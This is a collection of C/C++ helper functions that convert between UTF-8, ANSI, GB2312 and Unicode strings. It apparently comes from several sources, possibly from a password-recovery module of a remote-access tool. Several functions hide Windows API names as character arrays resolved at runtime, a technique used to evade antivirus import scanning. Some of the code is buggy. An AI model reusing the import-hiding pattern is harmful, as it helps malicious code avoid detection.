wchar_t* UTF8ToUnicode( const char* utf8String ) { wchar_t* res = 0; // тест на возможность преобразования int resLen = (int)pMultiByteToWideChar( CP_UTF8, 0, utf8String, -1, 0, 0); if( resLen == 0 ) return 0; // выделяем память res = (wchar_t*)WSTR::Alloc(resLen); if( res == 0 ) return 0; // преобразование if( !pMultiByteToWideChar( CP_UTF8, 0, utf8String, -1, res, resLen ) ) { WSTR::Free(res); res = 0; } return res; }
WCHAR *AnsiToUnicode( char *AnsiString, DWORD dwStrLen ) { wchar_t* res = 0; // тест на возможность преобразования if( dwStrLen == 0 ) dwStrLen = -1; int resLen = (int)pMultiByteToWideChar( CP_ACP, 0, AnsiString, dwStrLen, 0, 0); if( resLen == 0 ) return 0; // выделяем память res = (wchar_t*)MemAlloc(resLen); if( res == 0 ) return 0; // преобразование if( !pMultiByteToWideChar( CP_ACP, 0, AnsiString, -1, res, resLen ) ) { MemFree(res); res = 0; } return res; }
void CDialupass::AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa) { char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'}; lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01); lsa->Length=plstrlenA(AValue)*2; lsa->MaximumLength=lsa->Length+2; lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength); char FBwWp19[] = {'M','u','l','t','i','B','y','t','e','T','o','W','i','d','e','C','h','a','r','\0'}; MultiByteToWideCharT pMultiByteToWideChar=(MultiByteToWideCharT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp19); pMultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,plstrlenA(AValue),lsa->Buffer,lsa->MaximumLength); }
WCHAR *AnsiToUnicode( char *AnsiString, DWORD dwStrLen ) { if ( !AnsiString ) { return NULL; } WCHAR *pszwString = (WCHAR *)MemAlloc( dwStrLen + 1 ); if ( pszwString == NULL ) { return NULL; } pMultiByteToWideChar( CP_ACP, 0, AnsiString, dwStrLen, (LPWSTR)pszwString, dwStrLen + 1 ); return pszwString; }
LPCTSTR CDialupass::UTF8ToGB2312(char UTF8Str[]) { char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'}; lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01); if (UTF8Str == NULL || plstrlenA(UTF8Str) == 0) return ""; int nStrLen = plstrlenA(UTF8Str) * 2; char *lpWideCharStr = new char[nStrLen]; char *lpMultiByteStr = new char[nStrLen]; char FBwWp19[] = {'M','u','l','t','i','B','y','t','e','T','o','W','i','d','e','C','h','a','r','\0'}; MultiByteToWideCharT pMultiByteToWideChar=(MultiByteToWideCharT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp19); pMultiByteToWideChar(CP_UTF8, 0, UTF8Str, -1, (LPWSTR)lpWideCharStr, nStrLen); char DYrEN32[] = {'W','i','d','e','C','h','a','r','T','o','M','u','l','t','i','B','y','t','e','\0'}; WideCharToMultiByteT pWideCharToMultiByte=(WideCharToMultiByteT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN32); pWideCharToMultiByte(CP_ACP, 0, (LPWSTR)lpWideCharStr, -1, lpMultiByteStr, nStrLen, 0, 0); delete lpWideCharStr; return lpMultiByteStr; }